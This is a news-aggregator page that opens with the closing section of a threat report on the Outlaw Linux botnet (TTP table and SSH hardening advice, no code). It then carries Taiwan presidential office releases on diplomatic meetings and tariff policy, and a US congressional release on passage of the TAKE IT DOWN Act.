    By focusing on weak or default SSH credentials, Outlaw keeps improving and broadening its Linux-focused toolkit. The group uses a range of evasion strategies, such as concealing files and folders or obfuscated programs, and uses compromised SSH keys to keep access for as long as possible. The IRC-based botnet client facilitates a wide range of harmful operations, such as command execution, flooding, and scanning, while the deployment of customized XMRig miners can divert processing resources to cryptocurrency mining. By hardening SSH configurations (for instance, turning off password authentication), keeping an eye out for questionable processes, and limiting SSH access to trustworthy users and networks, system administrators can greatly lessen this hazard.

    Tactics, techniques and procedures

    Below are the Outlaw TTPs identified from our malware analysis.

    Tactic Technique ID
    Execution Command and Scripting Interpreter: Unix Shell T1059.004
    Persistence Scheduled Task/Job: Cron T1053.003
    Persistence Account Manipulation: SSH Authorized Keys T1098.004
    Defense Evasion Obfuscated Files or Information T1027
    Defense Evasion Indicator Removal: File Deletion T1070.004
    Defense Evasion File and Directory Permissions Modification T1222
    Defense Evasion Hide Artifacts: Hidden Files and Directories T1564.001
    Defense Evasion Obfuscated Files or Information: Software Packing T1027.002
    Credential Access Brute Force T1110
    Discovery System Information Discovery T1082
    Discovery Process Discovery T1057
    Discovery Account Discovery T1087
    Discovery System Owner/User Discovery T1033
    Discovery System Network Connections Discovery T1049
    Lateral Movement Remote Services: SSH T1021.004
    Collection Data from Local System T1005
    Command and Control Application Layer Protocol T1071
    Command and Control Ingress Tool Transfer T1105
    Exfiltration Exfiltration Over Alternative Protocol T1048
    Impact Resource Hijacking T1496
    Impact Service Stop T1489

    Indicators of Compromise

    MIL OSI Global Banks –

    April 29, 2025
  • MIL-OSI Asia-Pac: President Lai meets NBR delegation  

    Source: Republic of China Taiwan

    Details
    2025-04-28
    President Lai meets Japanese Diet Member and former Minister of State for Economic Security Takaichi Sanae
    On the afternoon of April 28, President Lai Ching-te met with a delegation led by Member of the Japanese House of Representatives and former Minister of State for Economic Security Takaichi Sanae. In remarks, President Lai thanked the government of Japan for repeatedly emphasizing the importance of peace and stability across the Taiwan Strait at important international venues. The president expressed hope that in the face of China’s continually expanding red supply chains, Taiwan and Japan can continue to cooperate closely in such fields as semiconductors, energy, and AI technology to create non-red supply chains that enhance economic resilience and industrial competitiveness for both sides, and jointly pave the way for further prosperity and growth in the Indo-Pacific region. A translation of President Lai’s remarks follows: First, I would like to extend a warm welcome to Representative Takaichi as she returns for another visit to Taiwan. I am also very happy to have Members of the House of Representatives Kikawada Hitoshi and Ozaki Masanao, and Member of the House of Councillors Sato Kei all gathered together here to engage in these very important exchanges. Our visitors will be taking part in many exchange activities during this trip. Earlier today at the Indo-Pacific Strategy Thinktank’s International Political and Economic Forum, Representative Takaichi delivered a speech in which she clearly demonstrated the great importance she places upon the friendship between Taiwan and Japan. For this I want to express my deepest appreciation to each of our guests. The peoples of Taiwan and Japan have a deep friendship and mutual trust. We have a shared commitment to the universal values of democracy, freedom, and respect for human rights, but beyond that, we both have striven to contribute to regional peace and stability. I also want to thank the government of Japan for repeatedly emphasizing the importance of peace and stability across the Taiwan Strait at important international venues. Tomorrow you will all make a trip to Kaohsiung to visit a bronze statue of former Prime Minister Abe Shinzo, who once said, “If Taiwan has a problem, then Japan has a problem.” We will always remember the firm support and friendship he showed Taiwan. Since taking office last year, I have worked hard to improve Taiwan’s whole-of-society defense resilience and implement our Four Pillars of Peace action plan. By strengthening our national defense capabilities, building up economic security, demonstrating stable and principled cross-strait leadership, and deepening partnerships with democratic countries including Japan, we can together maintain peace and stability in the Indo-Pacific region and across the Taiwan Strait. At the same time, in the face of China’s continually expanding red supply chains, we hope that Taiwan and Japan, as important economic and trade partners, can continue to cooperate closely in such fields as semiconductors, energy, and AI technology to create non-red supply chains that further enhance economic resilience and industrial competitiveness for both sides. Going forward, Taiwan will work hard to play an important role in the international community and contribute its key strengths. I hope that, with the support of our guests, Taiwan can soon accede to the Comprehensive and Progressive Agreement for Trans-Pacific Partnership and sign an economic partnership agreement (EPA) with Japan so that we can jointly pave the way for further prosperity and growth in the Indo-Pacific region. Lastly, I thank each of you once again for taking concrete action to support Taiwan. I am confident that your visit will help deepen Taiwan-Japan ties and create even greater opportunities for cooperation. Let us all strive together to keep propelling Taiwan-Japan relations forward.  Representative Takaichi then delivered remarks, first thanking President Lai and Taiwanese political leaders for the warm hospitality they extended to the delegation, and mentioning that the visiting delegation members are all like-minded partners carrying on the legacy of former Prime Minister Abe. July 8 this year will mark the third anniversary of the passing of former Prime Minister Abe, she said, and when the former prime minister unfortunately passed away, President Lai, then serving as vice president, was among the first to come offer condolences, for which she expressed sincere admiration and gratitude. Representative Takaichi stated that Taiwan and Japan are island nations that face the same circumstances and problems, and that Japan’s trade activities rely heavily on ocean transport, so once a problem arises nearby that threatens maritime shipping lanes, it will be a matter of life and death for Japan. Taiwan and Japan are similar, as once a problem arises, both will face food and energy security issues, and supply chains may even be threatened, she said. Regarding Taiwan-Japan cooperation, Representative Takaichi stated that both sides must first protect and strengthen supply chain resilience. President Lai has previously said that he wants to turn Taiwan into an AI island, she said, and in semiconductors, Taiwan has the world’s leading technology. Representative Takaichi went on to say that Taiwan and Japan can collaborate in the fields of AI and semiconductors, quantum computing, and dual-use industries, as well as in areas such as drones and new energy technologies to build more resilient supply chains, so that if problems arise, we can maintain our current standard of living with peace of mind. Representative Takaichi indicated that cooperation in the defense sector is also crucial, and that by uniting like-minded countries including Taiwan, the United States, Japan, the Philippines, and Australia, and even countries in Europe, we can build a stronger network to jointly maintain our security guarantees. Representative Takaichi expressed hope that Taiwan and Japan will continue to strengthen substantive non-governmental relations, including personnel exchange visits and information sharing, so that we can jointly face and respond to crises when they arise. Regarding the hope to sign a Taiwan-Japan EPA that President Lai had mentioned earlier, she also expressed support and said she looks forward to upcoming exchanges and talks. The visiting delegation also included Japan-Taiwan Exchange Association Taipei Office Chief Representative Katayama Kazuyuki.

    Details
    2025-04-23
    President Lai delivers remarks at International Holocaust Remembrance Day event
    On the afternoon of April 23, President Lai Ching-te attended an International Holocaust Remembrance Day event and delivered remarks, in which he emphasized that peace is priceless, and war has no winners, while morality, democracy, and respect for human rights are powerful forces against violence and tyranny. The president stated that Taiwan will continue to expand cooperation with democratic partners and safeguard regional and global peace and stability, defending democracy, freedom, and human rights. He said we must never forget history, and must overcome our differences and join in solidarity to ensure that the next generations live in a world that is more just and more peaceful. Upon arriving at the event, President Lai heard a testimony from the granddaughter of a Holocaust survivor, followed by a rabbi’s recitation of the prayer “El Maleh Rachamim.” He then joined other distinguished guests in lighting candles in memory of the victims. A transcript of President Lai’s remarks follows: To begin, I want to thank the Israel Economic and Cultural Office (ISECO) in Taipei, German Institute Taipei, Taiwan Foundation for Democracy, and Ministry of Foreign Affairs for co-organizing this deeply significant memorial ceremony again this year. I also want to thank everyone for attending. We are here today to remember the victims of the Holocaust, express sympathy for the survivors, honor the brave individuals who protected the victims, and acknowledge all who were impacted by this atrocity. It was deeply moving to hear Ms. [Orly] Sela share the story of how her grandmother, Yehudit Biksz, escaped the Nazi regime. I want to thank her specially for traveling so far to attend this event. From the 1930s through World War II, the Nazi regime sought to exclude Jewish people from society. In their campaign, they perpetrated systematic genocide driven by their ideology. Policies and directives under the authoritarian Nazi regime resulted in the deaths of approximately 6 million Jews. Millions of others were persecuted, including Romani people, persons with disabilities, the gay community, and anyone who disagreed with Nazi ideology. It is one of the darkest chapters in human history. Many countries, including Taiwan, have enacted anti-massacre legislation, and observe a remembrance day each year. Those occasions help us remember the victims, preserve historical memory, and most importantly, reinforce our resolve to fight against hatred and discrimination. Twenty-three years ago, Chelujan (車路墘) Church in Tainan founded the Taiwan Holocaust Memorial Museum. It is the first Jewish museum in Taiwan, and the second Holocaust museum in Asia. Its founding mission urges us to forget hatred and love one another; put an end to war and advocate peace. Many of the exhibition items come from Jewish people, connecting Taiwan closer with Israel and helping Taiwanese better understand the experiences of Jewish people. In this way, we grow to more deeply cherish peace. When I was mayor of Tainan, I took part in an exhibition event at Chelujan Church. I was also invited by the Israeli government to join the International Mayors Conference in Israel, where I visited the World Holocaust Remembrance Center. I will never forget how deeply that experience moved me, and as a result, peace and human rights became even more important issues for me. These issues are valued by Taiwan and our friends and allies. They are also important links connecting Taiwan with the world. Peace is priceless, and war has no winners. We will continue to expand cooperation with democratic partners and safeguard regional and global peace and stability. We will also continue to make greater contributions and work with the international community to defend democracy, freedom, and human rights. This year also marks the 80th anniversary of the end of World War II. However, we still see wars raging around the world. We see a resurgence of authoritarian powers, which could severely impact global democracy, peace, and prosperous development. Today’s event allows for more than reflection on the past; it also serves as a warning for the future. We are reminded of the threats that hatred, prejudice, and extremism pose to humanity. But we are also reminded that morality, democracy, and respect for human rights are powerful forces against violence and tyranny. We must never forget history. We must overcome our differences and join in solidarity for a better future. Let’s work together to ensure that the next generations live in a world that is more just and more peaceful. Also in attendance at the event were Member of the Israeli Knesset (parliament) and Taiwan friendship group Chair Boaz Toporovsky, ISECO Representative Maya Yaron, and German Institute Taipei Deputy Director General Andreas Hofem.

    Details
    2025-04-23
    President Lai pays respects to Pope Francis  
    On the morning of April 23, President Lai Ching-te visited the Taipei Archdiocesan Curia to pay respects in a memorial ceremony for His Holiness Pope Francis. As officiant of the ceremony, President Lai burned incense and presented flowers, fruits, and wine to pay his respects to Pope Francis. At the direction of the master of ceremonies, the president then bowed three times in front of Pope Francis’s memorial portrait, conveying his grief and deep respect for the late pope. After hearing of Pope Francis’s passing on April 21, President Lai promptly requested the Ministry of Foreign Affairs to express sincere condolences from the people and government of Taiwan to the Vatican. The president also instructed Minister of Foreign Affairs Lin Chia-lung (林佳龍) to convey condolences to the Holy See’s Apostolic Nunciature in Taiwan.  

    Details
    2025-04-23
    President Lai meets US CNAS NextGen fellows
    On the morning of April 23, President Lai Ching-te met with fellows from the Shawn Brimley Next Generation National Security Leaders Program (NextGen) run by the Center for a New American Security (CNAS). In remarks, President Lai thanked the government of the United States for continuing its arms sales to Taiwan over the years, supporting Taiwan’s efforts to enhance its national defense capabilities and jointly maintaining peace and stability in the Indo-Pacific region. The president pointed out that we will promote our “Taiwan plus one” policy, that is, new arrangements for Taiwan plus the US, and form a “Taiwan investment in the US team” to expand investment and bring about even closer Taiwan-US trade cooperation, allowing us to reduce the trade deficit and generate development that benefits both sides. A translation of President Lai’s remarks follows: Ms. Michèle Flournoy, chair of the CNAS Board of Directors, is a good friend of Taiwan, and she has made major contributions to Taiwan-US relations through her long-time efforts on various aspects of our cooperation. I am happy to welcome Chair Flournoy, who is once again leading a NextGen Fellowship delegation to Taiwan. CNAS is a prominent think tank focusing on US national security and defense policy based in Washington, DC. Its NextGen Fellowship has fostered talented individuals in the fields of national security and foreign affairs. This year’s delegation is significantly larger than those of the past, demonstrating the increased importance that the next generation of US leaders attach to Taiwan. On behalf of the people of Taiwan, I extend my sincerest welcome to you all. The Taiwan Strait, an issue of importance for our guests, has become a global issue. There is a high degree of international consensus that peace and stability across the Taiwan Strait are indispensable elements in global security and prosperity. Facing military threats from China, Taiwan proposed the Four Pillars of Peace action plan. First, we are actively implementing military reforms, enhancing whole-of-society defense resilience, and working to increase our defense budget to more than 3 percent of GDP. Second, we are strengthening our economic resilience. As Taiwan’s economy must keep advancing, we can no longer put all our eggs in one basket. We are taking action to remain firmly rooted in Taiwan while expanding our global presence and marketing worldwide. In these efforts, we are already seeing results. Third, we are standing side-by-side with other democratic countries to demonstrate the strength of deterrence and achieve our goal of peace through strength. And fourth, Taiwan is willing, under the principles of parity and dignity, to conduct exchanges and cooperate with China towards achieving peace and stability in the Taiwan Strait. This April 10 marked the 46th anniversary of the enactment of the Taiwan Relations Act. We thank the US government for continuing its arms sales to Taiwan over the years, supporting Taiwan’s efforts to enhance its national defense capabilities and jointly maintaining peace and stability in the Indo-Pacific region. We look forward to Taiwan and the US continuing to strengthen collaboration on the development of both our defense industries as well as the building of non-red supply chains. This will yield even more results and further deepen our economic and trade partnership. The US is now the main destination for outbound investment from Taiwan. Moving forward, we will promote our “Taiwan plus one” policy, that is, new arrangements for Taiwan plus the US. And our government will form a “Taiwan investment in the US team” to expand investment. We hope this will bring Taiwan-US economic and trade cooperation even closer and, through mutually beneficial assistance, allow us to generate development that benefits both our sides while reducing our trade deficit. In closing, thank you once again for visiting Taiwan. We hope your trip is fruitful and leaves you with a deep impression of Taiwan. We also hope that going forward you continue supporting Taiwan and advancing even greater development for Taiwan-US ties.  Chair Flournoy then delivered remarks, first thanking President Lai for making time to receive their delegation. Referring to President Lai’s earlier remarks, she said that it is quite an impressive group, as past members of this program have gone on to become members of the US Congress, leading government experts, and leaders in the think-tank world and in the private sector. She remarked that investing in this group is a wonderful privilege for her and that they appreciate President Lai’s agreeing to take the time to engage in exchange with them. Chair Flournoy emphasized that they are visiting Taiwan at a critical moment, when there is so much change and volatility in the geostrategic environment, a lot of uncertainty, and a lot of unpredictability. She stated that given our shared values, our shared passion for democracy and human rights, and our shared interests in peace and stability in the Indo-Pacific region, this is an important time for dialogue, collaboration, and looking for additional opportunities where we can work together towards regional peace and stability.

    Details
    2025-04-18
    President Lai meets US delegation from Senate Foreign Relations Subcommittee on East Asia and the Pacific
    On the afternoon of April 18, President Lai Ching-te met with a delegation led by Senator Pete Ricketts, chairman of the United States Senate Foreign Relations Subcommittee on East Asia, the Pacific, and International Cybersecurity Policy. In remarks, President Lai said we hope to promote our Taiwan plus one policy, that is, new industrial arrangements for Taiwan plus the US, to leverage the strengths of both sides and reinforce our links in such areas as the economy, trade, and technological innovation. The president said that by deepening cooperation, Taiwan and the US will be better positioned to work together on building non-red supply chains. He said a more secure and sustainable economic and trade partnership will allow us to address the challenges posed by geopolitics, climate change, and the restructuring of global supply chains. A translation of President Lai’s remarks follows: I warmly welcome you all to Taiwan. I want to take this opportunity to especially thank Chairman Pete Ricketts and Ranking Member Chris Coons for their high regard and support for Taiwan. Chairman Ricketts has elected to visit Taiwan on his first overseas trip since taking up his new position in January. Ranking Member Coons made a dedicated trip to Taiwan in 2021 to announce a donation of COVID-19 vaccines on behalf of the US government. He also visited last May, soon after my inauguration, continuing to deepen Taiwan-US exchanges. Thanks to support from Chairman Ricketts and Ranking Member Coons, the US Congress has continued to introduce many concrete initiatives and resources to assist Taiwan through the National Defense Authorization Act and Consolidated Appropriations Act, bringing the Taiwan-US partnership even closer. For this, I want to again express my gratitude. There has long been bipartisan support in the US Congress for maintaining security in the Taiwan Strait. Faced with China’s persistent political and military intimidation, Taiwan will endeavor to reform national defense and enhance whole-of-society defense resilience. We will also make special budget allocations to ensure that our defense budget exceeds 3 percent of GDP, up from the current 2.5 percent, so as to enhance Taiwan’s self-defense capabilities. We look forward to Taiwan and the US continuing to work together to maintain peace and stability in the region. We will also promote our Taiwan plus one policy, that is, new industrial arrangements for Taiwan plus the US. We hope to leverage the strengths of both sides and reinforce our links in such areas as the economy, trade, and technological innovation, jointly promoting prosperity and development. We believe that by deepening cooperation through the Taiwan plus one policy, Taiwan and the US will be better positioned to work together on building non-red supply chains. A more secure and sustainable economic and trade partnership will allow us to address the challenges posed by geopolitics, climate change, and the restructuring of global supply chains. In closing, I wish Chairman Ricketts and Ranking Member Coons a smooth and successful visit. Chairman Ricketts then delivered remarks, first thanking President Lai for his hospitality. He said that he and his delegation have had a wonderful time meeting with government officials, industry representatives, and the team at the American Institute in Taiwan. Highlighting that Taiwan has long been a friend and partner of the US, he said their bipartisan delegation to Taiwan emphasizes long-time bipartisan support in the US Congress for Taiwan, and though administrations change, that bipartisan support remains. Chairman Ricketts stated that the US is committed to peace and stability in the Indo-Pacific and that they want to see peace across the Taiwan Strait. He also stated that the US opposes any unilateral change in the status of Taiwan and that they expect any differences between Taiwan and China to be resolved peacefully without coercion or the threat of force. To that end, he said, the US will continue to assist Taiwan in its self-defense and will also step up by bolstering its own defense capabilities, noting that there is broad consensus on this in the US Congress. Chairman Ricketts stated that they want to see Taiwan participate in international organizations and memberships where appropriate, and encourage Taiwan to reach out to current and past diplomatic allies to strengthen those bilateral relationships. He pointed out that the long economic relationship between the US and Taiwan is important for our as well as the entire world’s security and prosperity. He also noted that there are many opportunities for us to continue to grow the economic relationship that will help create more prosperity for our respective peoples and ensure that we are more secure in the world. Chairman Ricketts emphasized that they made this trip early on in the new US administration to work with Taiwan to develop three points: security, diplomatic relations, and the economy. He stated that in the face of rising aggression from communist China, the US will provide commensurate help to Taiwan in self-defense and that they will continue to provide the services and tools needed. In closing, Chairman Ricketts once again thanked President Lai for the hospitality and said he looks forward to dialogue on how we can continue these relationships. Ranking Member Coons then delivered remarks. Mentioning that their delegation also visited the Philippines on this trip, he said that there and in Taiwan, they have been focused on peace, stability, and security, and the ways for deepening and strengthening economic and security relations. He noted that 46 years ago, the US Senate passed the Taiwan Relations Act, adding that it was strongly bipartisan when enacted and that support for it is still strongly bipartisan today. Its core commitment, he said, is that the US will be engaged and will be a partner in ensuring that any dispute or challenge across the strait will be resolved peacefully, and that Taiwan will have the resources it needs for its self-defense. Ranking Member Coons said that between people, friendships are deepest and most enduring when they are based not just on interests but on values, and that the same is true between the US and Taiwan. Free press, free enterprise, free societies, democracy – these core shared values, he said, anchor our friendship and partnership, making them deeper. He remarked that they are grateful for the significant investment in the US being made by companies from Taiwan, but what anchors our partnership, in addition to these important investments and investments being made by Taiwan in its own security, are the values that mobilize our free-enterprise spirit and our commitment to free societies. In Europe in recent years, Ranking Member Coons said, an aggressive nation has tried to change boundaries and change history by force. He said that the US and dozens of countries committed to freedom have come to the aid of Ukraine to defend it, help it stabilize, and secure its future. So too in this region of the world, he added, the US and a bipartisan group in the US Senate are committed to stable, secure, peaceful relations and to deterring any unilateral effort to change the status quo by force. In closing, he said he is grateful for a chance to return to Taiwan after the pandemic and that he looks forward to our conversation, our partnership, and the important work we have in front of us. The delegation was accompanied to the Presidential Office by American Institute in Taiwan Taipei Office Director Raymond Greene.

    Details
    2025-04-06
    President Lai delivers remarks on US tariff policy response
    On April 6, President Lai Ching-te delivered recorded remarks regarding the impact of the 32 percent tariff that the United States government recently imposed on imports from Taiwan in the name of reciprocity. In his remarks, President Lai explained that the government will adopt five response strategies, including making every effort to improve reciprocal tariff rates through negotiations, adopting a support plan for affected domestic industries, adopting medium- and long-term economic development plans, forming new “Taiwan plus the US” arrangements, and launching industry listening tours. The president emphasized that as we face this latest challenge, the government and civil society will work hand in hand, and expressed hope that all parties, both ruling and opposition, will support the measures that the Executive Yuan will take to open up a broader path for Taiwan’s economy. A translation of President Lai’s remarks follows: My fellow citizens, good evening. The US government recently announced higher tariffs on countries around the world in the name of reciprocity, including imposing a 32 percent tariff on imports from Taiwan. This is bound to have a major impact on our nation. Various countries have already responded, and some have even adopted retaliatory measures. Tremendous changes in the global economy are expected. Taiwan is an export-led economy, and in facing future challenges there will inevitably be difficulties, so we must proceed carefully to turn danger into safety. During this time, I want to express gratitude to all sectors of society for providing valuable opinions, which the government regards highly, and will use as a reference to make policy decisions.  However, if we calmly and carefully analyze Taiwan’s trade with the US, we find that last year Taiwan’s exports to the US were valued at US$111.4 billion, accounting for 23.4 percent of total export value, with the other 75-plus percent of products sold worldwide to countries other than the US. Of products sold to the US, competitive ICT products and electronic components accounted for 65.4 percent. This shows that Taiwan’s economy does still have considerable resilience. As long as our response strategies are appropriate, and the public and private sectors join forces, we can reduce impacts. Please do not panic. To address the reciprocal tariffs by the US, Taiwan has no plans to adopt retaliatory tariffs. There will be no change in corporate investment commitments to the US, as long as they are consistent with national interests. But we must ensure the US clearly understands Taiwan’s contributions to US economic development. More importantly, we must actively seek to understand changes in the global economic situation, strengthen Taiwan-US industry cooperation, elevate the status of Taiwan industries in global supply chains, and with safeguarding the continued development of Taiwan’s economy as our goal, adopt the following five strategies to respond. Strategy one: Make every effort to improve reciprocal tariff rates through negotiations using the following five methods:  1. Taiwan has already formed a negotiation team led by Vice Premier Cheng Li-chiun (鄭麗君). The team includes members from the National Security Council, the Office of Trade Negotiations, and relevant Executive Yuan ministries and agencies, as well as academia and industry. Like the US-Mexico-Canada free trade agreement, negotiations on tariffs can start from Taiwan-US bilateral zero-tariff treatment. 2. To expand purchases from the US and thereby reduce the trade deficit, the Executive Yuan has already completed an inventory regarding large-scale procurement plans for agricultural, industrial, petroleum, and natural gas products, and the Ministry of National Defense has also proposed a military procurement list. All procurement plans will be actively pursued. 3. Expand investments in the US. Taiwan’s cumulative investment in the US already exceeds US$100 billion, creating approximately 400,000 jobs. In the future, in addition to increased investment in the US by Taiwan Semiconductor Manufacturing Company, other industries such as electronics, ICT, petrochemicals, and natural gas can all increase their US investments, deepening Taiwan-US industry cooperation. Taiwan’s government has helped form a “Taiwan investment in the US” team, and hopes that the US will reciprocate by forming a “US investment in Taiwan” team to bring about closer Taiwan-US trade cooperation, jointly creating a future economic golden age.  4. We must eliminate non-tariff barriers to trade. Non-tariff barriers are an indicator by which the US assesses whether a trading partner is trading fairly with the US. Therefore, we will proactively resolve longstanding non-tariff barriers so that negotiations can proceed more smoothly. 5. We must resolve two issues that have been matters of longstanding concern to the US. One regards high-tech export controls, and the other regards illegal transshipment of dumped goods, otherwise referred to as “origin washing.” Strategy two: We must adopt a plan for supporting our industries. For industries that will be affected by the tariffs, and especially traditional industries as well as micro-, small-, and medium-sized enterprises, we will provide timely and needed support and assistance. Premier Cho Jung-tai (卓榮泰) and his administrative team recently announced a package of 20 specific measures designed to address nine areas. Moving forward, the support we provide to different industries will depend on how they are affected by the tariffs, will take into account the particular features of each industry, and will help each industry innovate, upgrade, and transform. Strategy three: We must adopt medium- and long-term economic development plans. At this point in time, our government must simultaneously adopt new strategies for economic and industrial development. This is also the fundamental path to solutions for future economic challenges. The government will proactively cooperate with friends and allies, develop a diverse range of markets, and achieve closer integration of entities in the upper, middle, and lower reaches of industrial supply chains. This course of action will make Taiwan’s industrial ecosystem more complete, and will help Taiwanese industries upgrade and transform. We must also make good use of the competitive advantages we possess in such areas as semiconductor manufacturing, integrated chip design, ICT, and smart manufacturing to build Taiwan into an AI island, and promote relevant applications for food, clothing, housing, and transportation, as well as military, security and surveillance, next-generation communications, and the medical and health and wellness industries as we advance toward a smarter, more sustainable, and more prosperous new Taiwan. Strategy four: “Taiwan plus one,” i.e., new “Taiwan plus the US” arrangements: While staying firmly rooted in Taiwan, our enterprises are expanding their global presence and marketing worldwide. This has been our national economic development strategy, and the most important aspect is maintaining a solid base here in Taiwan. We absolutely must maintain a solid footing, and cannot allow the present strife to cause us to waver. Therefore, our government will incentivize investments, carry out deregulation, and continue to improve Taiwan’s investment climate by actively resolving problems involving access to water, electricity, land, human resources, and professional talent. This will enable corporations to stay in Taiwan and continue investing here. In addition, we must also help the overseas manufacturing facilities of offshore Taiwanese businesses to make necessary adjustments to support our “Taiwan plus one” policy, in that our national economic development strategy will be adjusted as follows: to stay firmly rooted in Taiwan while expanding our global presence, strengthening US ties, and marketing worldwide. We intend to make use of the new state of supply chains to strengthen cooperation between Taiwanese and US industries, and gain further access to US markets. Strategy five: Launch industry listening tours: All industrial firms, regardless of sector or size, will be affected to some degree once the US reciprocal tariffs go into effect. The administrative teams led by myself and Premier Cho will hear out industry concerns so that we can quickly resolve problems and make sure policies meet actual needs. My fellow citizens, over the past half-century and more, Taiwan has been through two energy crises, the Asian financial crisis, the global financial crisis, and pandemics. We have been able to not only withstand one test after another, but even turn crises into opportunities. The Taiwanese economy has emerged from these crises stronger and more resilient than ever. As we face this latest challenge, the government and civil society will work hand in hand, and I hope that all parties in the legislature, both ruling and opposition, will support the measures that the Executive Yuan will take to open up a broader path for Taiwan’s economy. Let us join together and give it our all. Thank you.

    MIL OSI Asia Pacific News –

    April 29, 2025
  • MIL-OSI USA: Take It Down Act Passes the House and Heads to President’s Desk

    Source: United States House of Representatives – Congresswoman María Elvira Salazar’s (FL-27)

    strong>(Washington, D.C.) – Today, the House of Representatives passed the Senate version of the bipartisan, bicameral TAKE IT DOWN Act (S.146), completing its passage through Congress. The bill passed unanimously in the Senate in February 2025. The TAKE IT DOWN Act protects victims of real and deepfake ‘revenge pornography’ by criminalizing the publication of these harmful images, in addition to requiring websites to quickly remove them. The rising popularity of AI requires decisive federal legal protections that will empower victims of these heinous crimes, most of whom are women and girls.

    You can see Rep. Salazar’s remarks in front of the House of Representatives here. 

     

    “This is a historic day for parents and children facing unprecedented new challenges with technology. My TAKE IT DOWN Act will finally give innocent victims real protection from online exploitation. Websites and platforms like Snapchat, Instagram, and TikTok must remove fake, compromising pornographic images within 48 hours or face consequences. No more inaction. No more excuses: if you exploit an innocent child, you will face jail time,” said Rep. Salazar (FL-27).

     

    “The TAKE IT DOWN Act’s passage is a significant step forward in Congress’ responsibility to protect the privacy and dignity of Americans against bad actors and the most harmful developments of AI. It takes only minutes to create a deepfake or share intimate images without consent, yet the lasting consequences devastate its victims — often girls and women. Our bill requires platforms to remove these horrifying images and videos from the internet within 48 hours. I’m deeply grateful to work with Sen. Klobuchar, Sen. Cruz, and Rep. Salazar to create this bipartisan federal law,” said Rep. Dean (PA-04). 

     

    “The publication of sexually exploitative images—including AI-generated deepfakes—is a terrifying reality of the digital age. I applaud the First Lady for her leadership and the Problem Solvers Caucus for working across party lines to pass the TAKE IT DOWN Act. This is a critical first step, and we must continue working together to protect people from these reprehensible acts,” said Rep. Suozzi (NY-03). 

     

    “As a father, husband, and proud South Texan, I’m glad we got this important bill across the finish line in the House and the Senate in a bipartisan way. The TAKE IT DOWN Act is a vital step in safeguarding the dignity and safety of individuals, particularly our most vulnerable. It ensures the swift removal of harmful content and holds perpetrators accountable—prioritizing the protection and well-being of those affected by deepfakes and non-consensual intimate imagery,” said Rep. Cuellar, Ph.D. (TX-28). 

    “The increasing use of artificial intelligence to create and circulate deep fake pornography threatens the wellbeing and security of its victims, primarily women. Perpetrators have used deep fake pornography as a tool to harass, humiliate, and intimidate women and children online, and we need to work together to protect against these threats. This is a serious and growing issue that requires urgent action, which is why I introduced the Take It Down Act. I am thankful it has been passed by the House, and I look forward to it promptly being signed into law,”said Rep. Dingell (MI-12) 

    “In an age where personal privacy can be violated with a click, the House’s passage of the TAKE IT DOWN Act marks a critical step forward. This bipartisan legislation creates long-overdue federal safeguards against non-consensual intimate imagery and the growing threat of AI-generated deepfakes. It establishes a clear legal standard: victims have the right to have these exploitative images removed, and perpetrators will be held accountable. This is a commonsense, essential measure to protect Americans, empower survivors, uphold justice, and bring our laws in line with the realities of the digital era,” said Rep. Fitzpatrick (PA-01).

    “There is nothing more personal than one’s image and dignity. NCII is a cruel and deeply violating issue, and with the rapid advancement of artificial intelligence, there has been a disturbing increase in these images online. The Take It Down Act is a crucial step in personal and internet security, and I am proud to help send this bill to President Trump’s desk. By introducing new protections against NCII content and criminalizing the publication of such content, we are making our world, both in person and online, safer for everyone,” said Rep. Bresnahan (PA-08) 

    “Congress must make sure there are protections in place, especially for minors, as technology rapidly evolves. Bipartisan support for and House passage of the TAKE IT DOWN Act is a critical step toward providing individuals who are victimized and inappropriately distorted through AI strong mechanisms to take action and remedy such traumatic situations,” said Rep. Edwards (NC-11). 

    “The passage of the TAKE IT DOWN Act is a historic win in the fight to protect victims of revenge porn and deepfake abuse. This victory belongs first and foremost to the heroic survivors who shared their stories and the advocates who never gave up. By requiring social media companies to take down this abusive content quickly, we are sparing victims from repeated trauma and holding predators accountable. This day would not have been possible without the courage and perseverance of Elliston Berry, Francesca Mani, Breeze Liu, and Brandon Guffey, whose powerful voices drove this legislation forward. I am especially grateful to my colleagues—including Sen. Amy Klobuchar, Rep. Maria Salazar, Rep. Madeleine Dean, First Lady Melania Trump, and House Leadership—for locking arms in this critical mission to protect Americans from online exploitation,” said Sen. Ted Cruz (TX). 

    “We must provide victims of online abuse with the legal protections they need when intimate images are shared without their consent, especially now that deepfakes are creating horrifying new opportunities for abuse. These images can ruin lives and reputations, but now that our bipartisan legislation is becoming law, victims will be able to have this material removed from social media platforms and law enforcement can hold perpetrators accountable,” said Sen. Klobuchar (MN). 

    Over 120 organizations representing victim advocacy groups, law enforcement, and leaders in the tech industry have voiced their support for the TAKE IT DOWN Act, including Meta, Snap, Google, Microsoft, TikTok, X, Amazon, Bumble, Match Group, Entertainment Software Association, IBM, TechNet, the U.S. Chamber of Commerce, Internet Works, the National Fraternal Order of Police, the National Center for Missing and Exploited Children (NCMEC), RAINN (Rape, Abuse & Incest National Network), and the National Center on Sexual Exploitation (NCOSE).

    The TAKE IT DOWN Act addresses these issues while protecting lawful speech by:

     

    • Criminalizing the publication of non-consensual intimate images (NCII), or the threat to publish NCII, in interstate commerce;
    • Permitting the good faith disclosure of NCII to assist victims including for law enforcement or medical treatment purposes;
    • Requiring websites to take down NCII within 48 hours of receiving notice from victims; and
    • Requiring that computer-generated NCII meet a “reasonable person” standard for appearing to realistically depict an individual, consistent with current First Amendment jurisprudence.

     

    Rep. Salazar reintroduced this bill in January and led the effort in the House to get it signed into law. President Trump endorsed the TAKE IT DOWN Act during a recent address to Congress. You can see his remarks here. The Act has been a legislative priority of former First Lady Melania Trump. Thanks to her strong advocacy, including a roundtable on Capitol Hill last month, this bill has now passed. 

     

    More information about the TAKE IT DOWN Act can be found here.

     

    The full text of the bill can be found here.

     

    The passage of the TAKE IT DOWN Act is Congresswoman Salazar’s ninth bill to be signed into law. Other key policies sponsored by Rep. Salazar that have been enacted into law include:

     

    • The COVID Economic Injury Disaster Loan (EIDL) Relief Act to provide economic relief for Floridians. Implemented by the Biden Administration in March 2021.
    • The Reinforcing Nicaragua’s Adherence to Conditions for Electoral Reform (RENACER) Act to sanction the Ortega Regime in Nicaragua. Signed into law in November 2021.
    • The PRICE Act to make it easier for small businesses to get federal contracts. Signed into law in February 2022.
    • The Summer Barrow Prevention, Treatment, and Recovery Act to reauthorize critical funding for programs that address mental health and substance abuse issues. Signed into law in December 2022.
    • The REEF Act to incentivize retired Navy ships to be sunk and used as artificial reefs in marine ecosystems across America. Signed into law in December 2023.
